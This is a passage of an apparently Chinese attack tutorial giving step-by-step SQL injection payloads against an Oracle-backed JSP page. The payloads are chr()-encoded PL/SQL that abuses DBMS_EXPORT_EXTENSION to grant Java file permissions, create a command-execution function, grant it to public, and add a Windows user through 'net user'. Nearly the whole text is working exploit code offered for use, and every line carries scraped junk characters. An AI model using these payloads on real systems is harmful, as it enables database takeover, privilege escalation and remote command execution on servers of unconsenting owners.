6 X& U6 E3 ]3 J0 a8 e( jchr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||$ c9 `' s+ Z# {
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||: M( @$ I# _! L: T3 ~1 g+ R
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
9 h4 H: n8 d: z: g4 W# O8 N2 h3 mchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
- `+ O, x) i% S8 f2 P% g,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual u( B2 I/ i- x2 B2 _! v+ g. U7 E
* H5 k9 M+ M; n/ q. ]! O4 i0 r3 u& W)2 K& Y7 D8 D# w& p/ k* h- b; I7 k
& u6 X! a( _5 v* a4 ^9 n------------------------------- @5 Z7 o: H4 P) q/ i( W" k
6 n- E$ }3 \/ t9 U& _2.赋Java权限! l* j4 V* w' U9 t0 I/ S$ d \3 h& H
/xxx.jsp?id=1 and chr(49)<>chr(50)||(; Y/ d0 E8 I) r0 y4 ^- l
2 t9 B4 C! B; I& c6 V" m0 ?% gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),$ Y/ ]* ]( j3 i$ r2 v
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||0 \% c) D B5 I9 H, x. \
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||: y/ E7 Z$ s; ?# Y0 l
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||. @% N1 u4 T* L; ^
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
- D3 F& j: v Z3 z4 t6 echr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
1 I! g8 \. z A" n# I1 nchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||7 V& N0 Q1 y- R% Q. U. M8 ]. k
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||" } P0 F7 [/ W% s0 e
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
8 |/ M' s2 ~- `8 y: b0 s# pchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
2 N# O6 g; I0 \) {3 s; i,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual4 h2 K$ h) @, p
1 F$ n" c8 R* J
)* g6 m- H" H' m( u# [% e% P. a
0 h4 I# b8 h( d) Q- e0 J: ^0 i
readfile函数的ascii版就不写了,见谅。
4 A% {" V7 D& @7 v0 n/ h
; B$ i$ W) C' n" }/ W9 Q9 R3.创建函数4 t' p: J" m8 k! q
$ d c0 Y2 {' V4 @" s
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),4 U& L+ M9 e$ h% @5 i) `+ q% l( B
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||; |) ~9 L g+ E ~/ w
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||) ?) A0 {% t- O3 W$ s4 }; X
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
' I$ @6 t; C4 Y4 E- j& B! [chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
1 z9 M% x9 P4 \& ~! @, ]2 u! U! P4 hchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
& P' f4 M% Y1 S# S0 ^. J( v. Ichr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
& z) Q# w% }) C* Achr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||$ T: G: Y l2 O, u. q) t
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||# m0 D4 W& E4 D# e$ c+ x* {: T. ?
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||# x0 P- G1 b% D% r; u7 q; E
chr(59)||chr(45)||chr(45)
. R/ ~ s$ |8 s/ U* a& m3 d3 p,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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4 [1 k3 ?/ Q T) _7 V1 t
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4.赋public执行函数的权限
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& I9 L# q9 E/ @' `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
( X" J" T6 b( Lchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||8 x/ r7 R/ K! s- p$ e
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
W5 @4 D& ~$ J. Q2 n& qchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
3 F6 I: R' _% Q+ f) v$ Ychr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
3 ?+ B4 J& X/ l% H/ o5 Z( @chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
0 a! d! ^+ j( f5 \' ychr(59)||chr(45)||chr(45)
# q3 b2 b" x) ?4 Z" R4 D,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual, G: v/ ]- T1 G: c
: I" [% N9 e) A$ @6 C
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% ~; c& v: _3 Z3 [ b+ F- _. a8 W. F5.执行命令:. s* G# w+ g @' r/ n8 {
% |- s4 D8 e6 g3 L" I/xxx.jsp?id=1 and chr(49)<>chr(32)||(
9 ~2 c _9 W4 D" c3 ~7 ^; Lselect sys.LinxRunCMD('cmd /c net user linx /add') from dual+ S+ H5 ?# n. V8 A8 G6 v* @% L
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即
# E5 _+ ^' }+ F% ?/xxx.jsp?id=1 and chr(49)<>chr(32)||(- A& Z f$ k2 \) l- P/ L) y7 w
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual9 x4 U* [/ M$ {, Q
)$ Y2 {! }' b6 b) g8 r7 b4 n& r% Y
|